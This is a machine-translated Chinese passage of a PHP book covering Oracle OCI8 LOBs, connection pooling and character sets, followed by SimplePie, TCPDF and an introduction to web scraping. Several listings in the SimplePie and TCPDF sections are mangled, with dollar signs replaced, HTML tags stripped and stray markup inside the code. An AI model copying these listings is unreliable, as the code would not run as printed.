选项,Oracle 将在普通表存储中存储高达 4K 的 LOB 内容,以及其他非 LOB 列。这将使表段变得更大、更稀疏,从而降低非 LOB 列的索引效率。这也将减少读取 LOB 数据所需的读取次数。经验法则是,如果在需要表数据时总是提取 LOB 列,则将 LOB 列与其余的表数据一起存储。另一方面,如果在很多情况下不需要将 LOB 列与其余数据一起读取,那么 LOB 列最好与非 LOB 数据分开存储,这意味着DISABLE STORAGE IN ROW
。默认情况下,如果没有特别要求,Oracle 会将所有内容存储在一起。
计划是将文件名和内容插入到这个表中。清单 9-7 显示了实现它的脚本。
清单 9-7。在此插入列表标题。
<?php $ins = <<<SQL insert into test2_ins(fname,fcontent) values (:FNAME,empty_clob()) returning fcontent into :CLB SQL; $qry = <<<SQL
select fname "File Name",length(fcontent) "File Size" from test2_ins SQL; $fname = "harrison_bergeron.txt"; try { $dbh = oci_connect("scott", "tiger", "local"); if (!$dbh) { $err = oci_error(); throw new exception($err['message']); } $lob = oci_new_descriptor($dbh, OCI_DTYPE_LOB); $res = oci_parse($dbh, $ins); oci_bind_by_name($res, ":FNAME", $fname, -1, SQLT_CHR); oci_bind_by_name($res, ":CLB", $lob, -1, SQLT_CLOB); if (!oci_execute($res, OCI_NO_AUTO_COMMIT)) { $err = oci_error($dbh); throw new exception($err['message']); } $lob->import("harrison_bergeron.txt"); $lob->flush(); oci_commit($dbh); $res = oci_parse($dbh, $qry); if (!oci_execute($res, OCI_NO_AUTO_COMMIT)) { $err = oci_error($dbh); throw new exception($err['message']); } $row = oci_fetch_array($res, OCI_ASSOC); foreach ($row as $key => $val) { printf("%s = %s\n", $key, $val); } } catch(Exception $e) { print "Exception:\n"; die($e->getMessage() . "\n"); } ?>
执行该脚本时,结果如下所示:
./script9.7.php File Name = harrison_bergeron.txt File Size = 12678
因此,我们在数据库中插入了一个文本文件。清单 9-7 有几个重要的元素。与 OCI 集合类型不同,OCI-Lob 描述符必须在数据库中初始化,因此 insert 中的RETURNING
子句也是如此。如果我们试图在客户端填充 LOB 描述符并将其插入到数据库中,而没有EMPTY_CLOB()
和RETURNING
的复杂性,我们将会收到一个错误,指出脚本试图插入一个无效的 LOB 描述符。这种行为的原因是 LOB 列实际上是数据库中的文件。必须分配存储空间,并在描述符中提供有关文件的信息。Descriptor
描述一个可以用来从数据库中读取和写入数据库的对象。这就是使用 bind 调用插入一个空 CLOB 并将其返回到 PHP 描述符的原因。前面显示的带有RETURNING
子句的方法是在 Oracle 数据库中插入 LOB 对象时使用的通用方法。
其次,LOB 描述符是一个只在事务期间有效的对象。关系数据库有事务,一旦进入数据库,就必须在 ACID 规则下为 LOB 对象提供与数据库中任何其他数据相同的保护。毕竟,LOB 列只是数据库行中的一列。一旦事务完成,不能保证其他人不会锁定我们刚刚编写的行并给我们的文本添加一点注释,可能会更改它的大小甚至位置。因此,LOB 描述符只在事务期间有效,这意味着OCI_NO_AUTO_COMMIT
参数必须与oci_execute
一起使用。我们只能在完成对行的修改后提交。如果没有OCI_NO_AUTO_COMMIT
,将会出现以下错误:
./script9.7.php PHP Warning: OCI-Lob::import(): ORA-22990: LOB locators cannot span transactions in /home/mgogala/work/book/ChapterDB/scriptDB.7.php on line 18
当然,会插入一个空的 LOB,这意味着文件名是正确的,但是内容不在那里。换句话说,数据库在逻辑上会被破坏。单词 corrupt 表示数据库中的数据不一致。当然,有文件名而没有必要的文件是数据库的不一致状态。这与上一节中显示的锁定游标的问题非常相似,但是更加危险。
OCI8 接口包含 OCI-Lob 类。使用oci_new_descriptor
调用分配该类的新对象。该类具有与DBMS_LOB
内部 PL/SQL 包或多或少相同的方法,用于处理来自 PL/SQL 的 lob。请记住,应该将 LOB 列视为存储在数据库中的文件。人们可以对文件进行许多操作:读取、写入、追加、获取大小、告知当前位置、查找、设置缓冲、将位置重置到开头(倒带)以及将它们刷新到磁盘。所有这些操作也是 OCI-Lob 类的方法。为了简单起见,我们使用了OCI-Lob->import
,但是我们也可以使用OCI-Lob->write
,这完全类似于文件系统写调用。语法如下:int OCI-Lob->write($buffer,$length)
。write 方法返回实际写入 LOB 列的字节数。
我们已经使用了OCI-Lob->flush()
方法来确保从原始文件传输的所有数据都已经在提交时实际写入 LOB 列。这是一个明智的策略,可以确保在提交事务、释放锁和使 LOB 描述符失效之前,数据完全传输到服务器。再者,OCI-Lob->import
对于小文件来说极其方便。对于大文件,完全有可能遇到各种内存问题。php 脚本通常在 php.ini 文件中设置了内存限制,大多数系统管理员都不会允许 PHP 脚本消耗大量内存,通常 PHP 脚本允许消耗的内存值在 32MB 到 256MB 之间。如果网站被大量使用,这种慷慨会导致整个机器瘫痪。数百 MB 大小的超大型文件只能分段加载,将合理大小的块读入缓冲区,并使用 OCI-Lob 写操作将这些缓冲区写入 LOB 列。LOB 列的最大大小是 4GB,但是很少需要将如此大的文件加载到数据库中。在我们的职业生涯中,最常遇到的情况是将文本文档加载到数据库中,它们很少大于几兆字节。OCI-Lob->import()
方法通常用于这种类型的文件。
作为本章的总结,清单 9-8 展示了一个小的示例脚本,它将读取我们刚刚插入的 LOB 并演示OCI-Lob->read()
的用法。
清单 9-8。脚本使用OCI-Lob->read()
进行演示
<?php $qry = <<<SQL DECLARE fcon CLOB; BEGIN SELECT fcontent into fcon FROM test2_ins WHERE fname='harrison_bergeron.txt'; :CLB:=fcon; END; SQL; try { $dbh = oci_connect("scott", "tiger", "local"); if (!$dbh) { $err = oci_error(); throw new exception($err['message']); } $lh = oci_new_descriptor($dbh, OCI_DTYPE_LOB); $res = oci_parse($dbh, $qry); oci_bind_by_name($res, ":CLB", $lh, -1, SQLT_CLOB); if (!oci_execute($res, OCI_NO_AUTO_COMMIT)) { $err = oci_error($dbh); throw new exception($err['message']); } $novel = $lh->read(65536); printf("Length of the string is %d\n", strlen($novel)); } catch(Exception $e) { print "Exception:\n"; die($e->getMessage() . "\n"); } ?>
第一个问题是,为什么我们要将这个小查询包装到一个匿名的 PL/SQL 块中?答案是,在一个SELECT...INTO
语句中将 LOB 描述符绑定到一个简单的占位符是行不通的。它会产生无效的 LOB 句柄。将查询包装成一个简单的匿名 PL/SQL 句柄没什么大不了的。执行部分已经重复了一遍又一遍:解析、绑定变量、执行。从 LOB 列中读取数据就像从操作系统的对应文件中读取数据一样简单。
注意 LOB 列应该被认为是存储在数据库中的文件。
使用 LOB 列时,有更多的选项、提示和技巧。在 Oracle RDBMS 的最新版本 Oracle 11g 中,可以使用单独许可的高级压缩选项来压缩 LOB 列。所有其他 Oracle 文档中都有一本手册,名为大型对象开发人员指南,或者,对于 11g 版本,名为安全文件和大型对象开发人员指南。
连接数据库再探:连接池
这是一个“出血边缘”部分。数据库中的连接池仅在 Oracle 11g 中可用,Oracle 11g 是 Oracle RDBMS 的最新和最大版本。许多用户尚未将其数据库转换到 Oracle 11g。升级生产数据库是一个严肃的项目,不能掉以轻心,但是如果有许多应用可以从连接池中受益,连接池的可能性可能是升级到 11g 的一个很好的理由。连接池不仅仅对 PHP 用户可用;这是一种通用机制,也可以与其他工具一起使用。
任何曾经使用过 Java 应用和应用服务器的人都知道连接池的概念,它直观且易于理解。基本上,目标是分配一定数量的可以被应用重用的服务器进程。DBA 可以分配一个进程池,并将其提供给应用。
为了理解这些优势,我们先来看看连接到 Oracle 实例的传统选项是什么。在连接池之前,只有两个选项,并且都需要由 DBA 进行配置。第一种选择是专用服务器连接。当应用请求专用服务器时,会分配一个 Oracle 服务器进程为其服务。它将只服务于单个应用,并且如果该应用是空闲的,则所分配的进程不能服务于任何其他可能未决的请求。这个过程在发起创建的连接的生命周期内存在,并在收到断开请求时退出。这是处理连接的默认方式,通常适用于大多数应用。每个进程都有自己的工作区,在 Oracle 术语中称为进程全局区(PGA ),用于排序和散列。当专用进程退出时,它的 PGA 被解除分配,因为它是非共享内存,由每个单独的进程拥有。每个专用服务器连接都会产生创建服务器进程的开销。数据库必须配置为允许每个连接用户有一个进程。
另一种自 Oracle 7 以来就存在的数据库连接称为共享服务器连接。数据库可以这样配置,即存在一组共享服务器进程,它们将代表请求用户执行 SQL 语句。应用 A 的一条 SQL 语句完成后,就可以开始处理应用 b 的另一条 SQL 语句了。不能保证为同一请求进程执行的两条连续 SQL 语句将由同一共享服务器执行。所有共享服务器进程在共享内存中都有自己的工作区,Oracle 称之为共享全局区(SGA),这意味着必须进行大量的配置工作才能顺利运行。这还需要大量的共享内存,这些内存是永久分配的,在不需要的时候不能取消分配。连接应用不需要创建新的进程,少量的进程就可以处理大量的请求进程。配置和监控共享服务器系统相当复杂,很少使用。
连接池从 Oracle 11g 开始提供,也称为数据库驻留连接池(DRCP ),提供了两个世界的优点。一旦池中的一个进程被分配给一个会话,它就在会话期间保持分配给该会话。此外,池中的每个进程都有自己的 PGA,所以昂贵的共享内存配置没有问题。
连接池主要是由 DBA 在数据库端配置的,在 PHP 参数中,在php.ini
内部。脚本不必改变它们的语法。现有脚本无需任何修改就可以使用池。现在让我们看看如何配置池。
首先,在 Oracle RDBMS 端,我们必须配置池。这是使用DBMS_CONNECTION_POOL
提供的 PL/SQL 包完成的。该软件包描述如下:
http://download.oracle.com/docs/cd/E11882_01/appdev.112/e16760/toc.htm
该包允许管理员定义池中服务器进程的最大数量、进程的最小数量、服务器进程返回池之前的最大空闲时间、最大会话生存期和生存时间(TTL)。当会话空闲时间超过生存时间参数定义的时间时,它将被终止。这有助于 Oracle 维护池的使用情况。以下是 DBA 端的池配置示例:
begin dbms_connection_pool.configure_pool( pool_name => 'SYS_DEFAULT_CONNECTION_POOL', minsize => 5, maxsize => 40, incrsize => 5, session_cached_cursors => 128, inactivity_timeout => 300, max_think_time => 600, max_use_session => 500000, max_lifetime_session => 86400); end;
为此,用户必须以SYSDBA
的身份连接。在不涉及太多细节的情况下,我们将使用默认的池参数,并且只启动池。Oracle 11.2 仅支持单个连接池,因此没有启动池的选择:
`SQL> connect / as sysdba
Connected.
SQL> exec dbms_connection_pool.start_pool();
PL/SQL procedure successfully completed.`
这将启动默认池。一旦启动,该池将持续存在。即使实例重新启动,池也会自动启动。一旦池被启动,参数oci8.connection_class
需要被设置。它被设置为一个字符串,向 Oracle 实例标识您的应用。这可以在以后通过 Oracle 系统表进行监控。以下是我在 php.ini 中使用的设置:
oci8.connection_class = TEST oci8.ping_interval = -1 oci8.events = On oci8.statement_cache_size = 128 oci8.default_prefetch = 128
参数oci8.events
启用实例启动或关闭通知,将参数oci8.ping_interval
设置为-1 将禁止从 PHP 端 ping 实例是否启动。这是不需要的,因为向上/向下通知是通过将events
参数设置为“开”来启用的最后两个参数是出于性能原因。OCI8 会话将在其用户内存中缓存多达 128 个游标,并将尝试以 128 个为一批带回行。
参数文件现在已经完成。我们现在需要的只是联系。为此,我们将重新查看清单 9-2 中的脚本,并替换如下代码行
$dbh = oci_connect("scott", "tiger", "local");
上面有一行写着
$dbh = oci_pconnect("scott", "tiger", "localhost/oracle.home:POOLED");
仅此而已!其他都不需要改变。该脚本现在将以与之前的connect
命令完全相同的方式执行。那么,pconnect
是什么?oci_pconnect
创造了持久的联系。当连接建立后,一旦脚本退出,它将不会关闭。连接时,OCI8 将检查是否已经存在具有相同凭据的未使用连接,如果存在,将重用它。还有oci_new_connection
调用,每次都会请求新的连接。标准的oci_connect
,我们在本章一直使用的调用,将在脚本退出时关闭连接,但是如果使用相同凭证的连接被多次请求,将返回现有的句柄。
在什么情况下应该使用池?当有多个进程使用相同的数据库凭据连接到数据库,并且这些进程在一段时间内重复连接时,应该考虑使用池。使用连接池有什么好处?使用连接池可以节省数据库资源,并使 DBA 能够更好地管理宝贵的数据库资源。使用连接池是一个需要与 DBA 讨论的决定,DBA 必须完成大部分工作。
数据库和 PHP 中的字符集
使用数据库时,经常会遇到字符集的问题。Oracle 以参数NLS_CHARACTERSET
定义的字符集存储数据,该字符集是在创建时定义的,一般不能轻易更改。当且仅当新字符集是以前字符集的超集时,才支持字符集的更改。当试图更改不受支持的字符集时,数据库可能会损坏。大多数时候,改变字符集的唯一现实的方法是导出/导入,这对于太字节大小的数据库来说要花相当长的时间。
幸运的是,对于 PHP 程序员来说,Oracle 还将发送给客户机的数据转换成客户机指定的字符集。有一个环境变量驱动这种转换。让我们在SCOTT
模式中创建另一个表:
CREATE TABLE TEST3 ( TKEY NUMBER(10,0), TVAL VARCHAR2(64) )
该表中插入了一行,包含以下值:
(1,'Überraschung')
。dieüberraschung 这个词在德语中是 surprise 的意思,之所以选在开头是因为这个字。字符 U 上方的这个标记被称为元音变音。现在,让我们创建一个小的 PHP 脚本,它是对本章前面的清单 9-2 中的脚本的一个小的修改(参见清单 9-9 )。
清单 9-9。一个小 PHP 脚本
<?php $QRY = "select * from test3"; try { $dbh = oci_new_connect("scott", "tiger", "local");
if (!$dbh) { $err = oci_error(); throw new exception($err['message']); } $sth = oci_parse($dbh, $QRY); if (!oci_execute($sth)) { $err = oci_error($dbh); throw new exception($err['message']); } while ($row = oci_fetch_array($sth, OCI_NUM)) { foreach ($row as $r) { printf("%-12s", $r); } print "\n"; } } catch(exception $e) { print "Exception:"; print $e->getMessage() . "\n"; exit(-1); } ?>
这个脚本从表 TEST3 中选择所有内容,并在标准输出中显示出来。这个剧本没有什么特别有趣的地方。显示它的原因如下:
第一次执行:
unset NLS_LANG ./script9.8.php 1 Uberraschung
第二次执行:
export NLS_LANG=AMERICAN_AMERICA.AL32UTF8 ./scriptDB.8.php 1 Überraschung
根据环境变量NLS_LANG
,脚本的输出会有所不同。NLS_LANG
的语法是<Language>_<Territory>.Character set
。Oracle 文档中也描述了具体的语法和示例,我们强烈推荐使用该文档。在第一次调用中,没有定义NLS_LANG
变量;Oracle 使用系统中的默认字符集,即用于开发本书示例的机器上的 US7ASCII。脚本的输出不包含任何不符合 US7ASCII 标准的字符;这个单词被写成 Uberraschung ,没有元音字母(字母 U 上方的小圆点)。第二次,在正确定义了NLS_LANG
的情况下,输出是正确的:它包含了元音字母。
如果您对使用 NLS_LANG 进行控制不感兴趣,或者如果您的脚本必须以各种字符集显示输出,那么可以在连接时指定。字符集实际上是oci_connect
的第四个参数。如果不使用 NLS _ 朗变量,我们可以编写oci_connect("scott","tiger","local","AL32UTF8")
,输出也将包含变音。字符集的 Oracle 名称可以在文档和数据库中找到。有效名称在V$NLS_VALID_VALUES
表中。Oracle 支持 200 多种不同的字符集。有关特定字符集的详细信息,请参考 Oracle 文档。
当然,为了让 PHP 能够正确显示内容,您还应该将iconv.output_encoding
设置为正确的字符集,以便正确显示输出。我通常这样设置 iconv 参数:
iconv.input_encoding = UTF-8 iconv.internal_encoding = UTF-8 iconv.output_encoding = UTF-8
此时,input_encoding 参数不用于任何事情;它只是为了完整性而设置的。这样,PHP 将能够使用正确的字符集进行输出,并且我的字符串将被正确格式化。
总结
在本章中,我们详细介绍了 OCI8 扩展的使用。最重要的特性是数组接口。array 接口使 PHP 加载脚本的执行速度比没有它时快一个数量级,但它确实需要 OCI8 接口的一些特定功能,即OCI-Collection
类。我们还介绍了如何使用 LOB 类型、游标和绑定变量,这在开发 web 应用时会变得很方便。字符集和连接池等特性已经成为现代应用系统不可或缺的一部分。随着 Oracle RDBMS 新版本的推出,OCI8 接口中可能会添加一些新特性,但目前来看,这些特性应该已经相当全面地涵盖了 OCI8 的特性。
十、库
PHP 是一种用途广泛的通用语言。现在有许多成熟的、功能丰富的开源库。这是一件好事,因为作为程序员,我们希望尽可能不要重新发明轮子。库可以节省我们的时间和精力。本章非常注重实践,我们将展示如何:
- 使用 SimplePie 解析 RSS 提要
- 使用 TCPDF 生成 PDF
- 使用 cURL 和 phpQuery 从网站上抓取数据
- 使用 php-google-map-api 整合 Google 地图
- 使用 PHPMailer 生成电子邮件和短信
- 用 gChartPHP 包装 Google Chart API
服务器设置
对于本章的所有例子,让我们假设我们的文档根是/htdocs/
。
那么我们相对于根目录的本地服务器文件系统设置将是:
/htdocs/library1/ /htdocs/library2/ … /htdocs/example1.php /htdocs/example2.php …
这将对应于以下位置的浏览器输出:
http://localhost/library1/ http://localhost/library2/ http://localhost/example1.php http://localhost/example2.php
单纯形
SimplePie 是一个支持非常简单的 RSS 和 Atom-feed 消费的库。SimplePie 还提供了高级功能,有很好的文档记录,并且是免费的。从[
simplepie.org/](http://simplepie.org/)
下载 SimplePie,放在/htdocs/simplepie/
。在您的浏览器中,[
localhost/simplepie/compatibility_test/sp_compatibility_test.php](http://localhost/simplepie/compatibility_test/sp_compatibility_test.php)
页面将帮助您解决服务器设置问题。如果您收到以下消息,您可以启用 cURL 扩展:
"cURL: The cURL extension is not available. SimplePie will use fsockopen() instead."
但是,正如输出所说的,这不是严格需要的,选择由您决定。
让我们看看来自wired.com
的 RSS 提要。在关于 XML 的第十四章中,我们将在不使用 SimplePie 库的情况下重新访问这个提要。提要 URL 是http://feeds.wired.com/wired/index?format=xml
。SimplePie 抛出了几个E_DEPRECATED
错误,这是 PHP 5.3 中新增的。我们将使用行error_reporting(E_ALL ^ E_NOTICE ^ E_DEPRECATED);. See Listing 10-1.
禁用该消息的输出
清单 10-1。简单派基本用法
`
\(feed_url = "http://feeds.wired.com/wired/index?format=xml"; \)simplepie = new Simplepie ( $feed_url );foreach ( $simplepie->get_items () as $item ) {
echo '
';
echo $item->get_title () . '
';
echo '' . $item->get_date () . '
';
echo $item->get_content () . '
}
?> `
如果您收到警告“./cache is not writeable. Make sure you've set the correct relative or absolute path, and that the location is server-writable
”,那么我们需要解决这个问题。要么提供一个可写的自定义路径作为构造函数的第二个参数,要么在与我们的脚本相同的目录中创建一个名为'cache'
的可写文件夹。图 10-1 显示了清单 10-1 的输出。
图 10-1。清单 10-1 的示例浏览器输出
我们自己在第十四章的代码并不比这个例子长多少。使用 SimplePie 库的真正优势是它更加可配置和成熟。它处理不同类型的提要,如果解析过程越复杂,它将为我们节省大量的工作。SimplePie 有很多辅助方法来完成任务,比如检索 favicon 或社交媒体字段。它还具有内置的清理支持和订阅管理。SimplePie 有用于外部框架、CMSes 和 API 的插件。在清单 10-2 中,我们添加了 feed 链接的 favicon 图像并格式化了日期。
清单 10-2。 SimplePie 添加图标和自定义格式化日期
`
$favicon = $simplepie->get_favicon ();foreach ( $simplepie->get_items () as $item ) {
echo '
';
echo '';
echo $item->get_title () . '
';
echo '' . $item->get_date ( 'd/m/Y' ) . '
';
echo $item->get_content () . '
}
?> `
我们的最后一个例子将处理 RSS 提要中的命名空间元素。如果您不确定在某个提要中填充了哪些字段,请在 web 浏览器中查看源代码并检查 XML。在我们来自 Wired 的样例提要中,作者是一个命名空间元素"dc:creator".
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
我们可以看到 dc 对应于http://purl.org/dc/elements/1.1/
,可以用get_item_tags
的方法来考察一个项的结构。参见清单 10-3 和清单 10-4 。
清单 10-3。检查带有名称空间的元素的结构
`<?php
error_reporting ( E_ALL ^ E_NOTICE ^ E_DEPRECATED );
require_once ('simplepie/simplepie.inc');
\(feed_url = "<ins>http://feeds.wired.com/wired/index?format=xml</ins>"; \)simplepie = new Simplepie ( \(feed_url ); \)item = array_pop(\(simplepie->get_items()); \)creator = \(item->get_item_tags("http://purl.org/dc/elements/1.1/", "creator"); var_dump(\)creator);`
输出
array 0 => array 'data' => string 'Sample Author' (length=13) 'attribs' => array empty 'xml_base' => string '' (length=0) 'xml_base_explicit' => boolean false 'xml_lang' => string '' (length=0)
现在我们知道了 creator 元素的结构,我们可以将它添加到我们的脚本中。
清单 10-4。添加命名空间元素创建者
`
error_reporting ( E_ALL ^ E_NOTICE ^ E_DEPRECATED );require_once ('simplepie/simplepie.inc');
\(feed_url = "http://feeds.wired.com/wired/index?format=xml"; \)simplepie = new Simplepie ( $feed_url );
$favicon = $simplepie->get_favicon ();
foreach ( $simplepie->get_items () as \(item ) {
**\)creator = $item->get_item_tags ( "http://purl.org/dc/elements/1.1/", "creator" );**
echo '
';
echo '';
echo $item->get_title () . '
';
echo '' . $item->get_date ( 'd/m/Y' ) . '
';
echo '' . $creator [0] ['data'] . '
';
echo $item->get_content () . '
}
?> The output from Figure 10-4 is shown in Figure 10-2.` ![images](https://gitee.com/OpenDocCN/vkdoc-php-zh/raw/master/docs/pro-php-prog/img/1002.jpg)
图 10-2。清单 10-4 的浏览器输出,显示图标和故事创建者
有关 SimplePie API 的更多方法和文档,请参考位于[
simplepie.org/wiki/reference/start](http://simplepie.org/wiki/reference/start)
的优秀文档。
TCPDF
TCPDF ( tecnick.com
PDF)是一个用 PHP 生成 PDF 文档的库。它不需要外部库,非常受欢迎,正在积极开发中。TCPDF 可在[www.tcpdf.org.](http://www.tcpdf.org.)
找到 TCPDF 功能全面,支持通过 PHP GD 和 imagemagick 的图形、条形码、渐变、HTML、CSS、字体、布局管理、页眉和页脚。默认定义和设置在配置文件中,可在/htdocs/tcpdf/config/tcpdf_config.php
找到。
用 TCPDF 生成 PDF 时,命令行执行会比在浏览器中更快。浏览器速度也可能大相径庭。例如,Chrome 浏览器内置的 PDF 渲染器速度惊人。通过 TCPDF 生成 PDF 会占用大量内存和执行时间。我们可能需要调整几个php.ini
设置。
max_execution_time = 90 //adjust up or down as necessary memory_limit = 256M //increase/decrease as necessary
清单 10-5 用最少的编码在 PDF 中生成一行文本。
清单 10-5。最小 TCPDF 示例
`<?php
error_reporting(E_ALL);
require_once('/tcpdf/config/lang/eng.php');
require_once('/tcpdf/tcpdf.php');
//Construct a new TCPDF object
$pdf = new TCPDF();
//add a page
$pdf->AddPage();
//assign text
$txt = "Pro PHP Programming - Chapter 10: TCPDF Minimal Example";
//print the text block
$pdf->Write( 20, $txt );
//save the PDF
$pdf->Output( 'minimal.pdf', 'I' );
?>`
在清单 10-5 中,我们包含了语言配置文件和库入口文件。然后我们构造一个新的TCPDF
对象,并通过AddPage
方法调用向其添加一个页面。我们写一行高度为 20 的文本,然后生成我们的 PDF。'I'
选项是使用一个可用的插件在我们的浏览器中查看文档。
构造函数有许多可选参数,用于设置方向、单位、格式、unicode 用法、编码和磁盘缓存。相应的默认值为纵向、毫米、A4、真、UTF-8 和假。对于 diskcache,false 速度更快,但会消耗更多 RAM。True 由于磁盘写入而较慢,但使用的 RAM 较少。
Write
方法只需要行高和文本,但是有大约十个可选参数。Output
方法将文件名或原始数据字符串作为第一个参数。当表示一个数据字符串时,第一个字符应该是一个@
符号。当表示文件名时,非法字符被删除,空白被转换成下划线。保存选项包括使用插件在线浏览(默认),强制下载,保存到服务器,以原始字符串或电子邮件附件的形式返回文档。
注意像
Write
这样的方法调用中可选参数的数量很难记住,而且很容易混淆。设计 API 时,考虑让方法签名对程序员友好。这可以通过限制方法参数的数量或传入关联数组或对象来实现。参数太多也是一种“代码味”罗伯特·马丁在干净代码中说得好(Prentice-Hall,2009 年):
一个函数的理想参数个数是零。接下来是一个(一元),紧接着是两个(二元)。应尽可能避免三个参数(三元组)。超过三个(多音节)需要非常特殊的理由——然后无论如何都不应该使用。”
参数越少,记忆就越容易或不必要。然而,使用 IDE——比如 Zend Studio 或 Netbeans——将提供到源代码和自动完成提示的内联链接。
从图形上看,TCPDF 包含使用 GD 图像、带 alpha 的 PNG 或 EPS 的方法;或者组成诸如圆形、直线和多边形的形状。与大多数方法一样,有大量可配置的可选参数。记住参数并不重要,只需根据需要在tcpdf.php
文件中查找即可。
在清单 10-6 中,我们将展示如何在文档中输出图像和 HTML 格式的文本。
清单 10-6。第二个带有图像和 HTML 的 TCPDF 示例
`<?php
error_reporting ( E_ALL );
require_once ('/tcpdf/config/lang/eng.php');
require_once ('/tcpdf/tcpdf.php');
//Contruct a new TCPDF object
$pdf = new TCPDF ();
//set document meta information
\(pdf->SetCreator ( PDF_CREATOR );
\)pdf->SetAuthor ( 'Brian Danchilla' );
\(pdf->SetTitle ( 'Pro PHP Programming - Chapter 10' );
\)pdf->SetSubject ( 'TCPDF Example 2' );
$pdf->SetKeywords ( 'TCPDF, PDF, PHP' );
//set font
\(pdf->SetFont ( 'times', '', 20 );` `//add a page
\)pdf->AddPage ();
\(txt = <<<HDOC
Pro PHP Programming:
Chapter 10: TCPDF Example 2
An Image:
HDOC;
\)pdf->Write ( 0, $txt );
//image scale factor
$pdf->setImageScale ( PDF_IMAGE_SCALE_RATIO );
//JPEG quality
$pdf->setJPEGQuality ( 90 );
//a sample image
$pdf->Image ( "bw.jpg" );
$txt = "Above: an image
Embedded HTML
This text should have some italic and some bold
and the caption should be an <h2>.";
$pdf->WriteHTML ( $txt );
//save the PDF
$pdf->Output ( 'image_and_html.pdf', 'I' );
?>
The results of running this example are shown in Figure 10-3.`
图 10-3。运行清单 10-6 导致文本和图像重叠
在清单 10-6 中,我们设置了文档元数据和我们的字体。就像我们在清单 10-5 中的第一个例子,我们添加了一个带有Write
的文本块。然后,我们设置一些图像属性,并用Image
方法输出我们的图像。最后,我们嵌入 HTML 标签并用WriteHTML
方法输出标记。
默认情况下,徽标将输出到光标最后停留的位置。这导致我们的一些输出重叠。为了解决这个问题,我们将用清单 10-7 中的Ln
方法添加一些换行符。Ln
可选地将高度值作为参数。默认高度将等于先前写入的元素的高度。
清单 10-7。通过插入换行符解决重叠问题
`<?php
error_reporting ( E_ALL );
require_once ('/tcpdf/config/lang/eng.php');
require_once ('/tcpdf/tcpdf.php');
//Contruct a new TCPDF object
$pdf = new TCPDF ();
//set document meta information
\(pdf->SetCreator ( PDF_CREATOR );
\)pdf->SetAuthor ( 'Brian Danchilla' );
\(pdf->SetTitle ( 'Pro PHP Programming - Chapter 10' );
\)pdf->SetSubject ( 'TCPDF Example 2' );
$pdf->SetKeywords ( 'TCPDF, PDF, PHP' );
//set font
$pdf->SetFont ( 'times', '', 20 );
//add a page
\(pdf->AddPage ();
\)txt = <<<HDOC
Pro PHP Programming:
Chapter 10: TCPDF Example 2
An Image:
HDOC;
$pdf->Write ( 0, \(txt );
**\)pdf->Ln ();**
//image scale factor
$pdf->setImageScale ( PDF_IMAGE_SCALE_RATIO );
//JPEG quality
$pdf->setJPEGQuality ( 90 );
//a sample image
\(pdf->Image ( "bw.jpg" );
**\)pdf->Ln ( 30 );**
$txt = "Above: an image
Embedded HTML
This text should have some italic and some bold and the caption should be an <h2>.";$pdf->WriteHTML ( $txt );
//save the PDF
$pdf->Output ( 'image_and_html.pdf', 'I' );
?>`
运行这个例子的结果可以在图 10-4 中看到。
图 10-4。运行清单 10-7 修复重叠问题
我们的第三个也是最后一个 TCPDF 用法的例子,见清单 10-8 ,将输出一个条形码和渐变。可用的条形码类型可在barcodes.php
文件中找到。输出条形码的方法有write1DBarcode
、write2DBarCode,
和setBarcode
。渐变方式有Gradient
、LinearGradient
、CoonsPatchMesh,
和RadialGradient
。
清单 10-8。 TCPDF 生成条形码和渐变
`<?php
error_reporting ( E_ALL );
require_once ('/tcpdf/config/lang/eng.php');
require_once ('/tcpdf/tcpdf.php');
//Contruct a new TCPDF object
$pdf = new TCPDF ();
//set document meta information
\(pdf->SetCreator ( PDF_CREATOR );
\)pdf->SetAuthor ( 'Brian Danchilla' );
\(pdf->SetTitle ( 'Pro PHP Programming - Chapter 10' );
\)pdf->SetSubject ( 'TCPDF Example 3 - Barcode & Gradient' );
$pdf->SetKeywords ( 'TCPDF, PDF, PHP' );
//set font
$pdf->SetFont ( 'times', '', 20 );
//set margins
$pdf->SetMargins( PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT );
//add a page
\(pdf->AddPage();
\)txt = <<<HDOC
Chapter 10: TCPDF Example 3 - Barcode & Gradients
HDOC;
$pdf->Write( 20, \(txt );` `\)pdf->Ln();
$pdf->write1DBarcode('101101101', 'C39+');
$pdf->Ln();
$txt = "Above: a generated barcode. Below, a generated gradient image";
\(pdf->WriteHTML(\)txt);
$pdf->Ln();
\(blue = array( 0, 0, 200 );**
**\)yellow = array( 255, 255, 0 );
$coords = array( 0, 0, 1, 1 );
//paint a linear gradient
$pdf->LinearGradient( PDF_MARGIN_LEFT, 90, 20, 20, $blue, $yellow, \(coords );**
**\)pdf->Text( PDF_MARGIN_LEFT, 111, 'Gradient cell' ); //label
//save the PDF
$pdf->Output( 'barcode_and_gradient.pdf', 'I' );
?>`
清单 10-8 中的代码增加了设置页边距、编写条形码和绘制线性渐变的功能。运行这个例子会产生图 10-5 。
图 10-5。用 TCPDF 生成的条码和渐变
最后,您应该知道您可以用方法SetAutoPageBreak
改变分页符的行为。默认情况下,分页是自动的,就像调用了$pdf->SetAutoPageBreak( TRUE, PDF_MARGIN_FOOTER);
一样。要关闭自动分页,你可以调用$pdf->SetAutoPageBreak( FALSE );
。如果没有自动分页符,一页上放不下的任何额外数据都会被删除。这就需要程序员增加更多的AddPage
调用,检查页面内容的大小。使用自动分页符,不适合的数据会输出到新页面上。
抓取网站数据
有时候,我们希望从一个网站检索信息,但是通过 web 服务 API 调用或提要并不容易访问。我们感兴趣的数据以原始 HTML 的形式呈现。我们希望以自动化的方式获得数据,以便进行进一步的数据处理。这个过程被称为页面抓取。
抓取数据不如从提要或 API 接收 XML 数据精确。但是,我们可以使用上下文线索,如 CSS 元素、id 和类值,并定期在表中输出数据,以理解检索到的数据。更严格遵循格式的网站提供更容易精确抓取的数据。
抓取网站数据是一个两步的过程。首先,我们需要获取远程内容,然后我们必须对其进行处理。抓取远程内容可以简单地通过file_get_contents
函数来完成,或者使用 cURL 库的更多配置选项来完成。我们可以对数据做的一些事情是直接显示它,过滤/解析它的特定内容,或者将它存储在文件或数据库中。
在本节中,我们关注第二个选项,解析特定的内容。对于一般内容,我们可以用正则表达式来完成。对于我们的 HTML 示例,将数据加载到 DOMDocument 对象中更有意义。我们将展示如何将 DOMDocument 与 DOMXPath 一起使用。我们还将使用 phpQuery 库展示等效的功能。
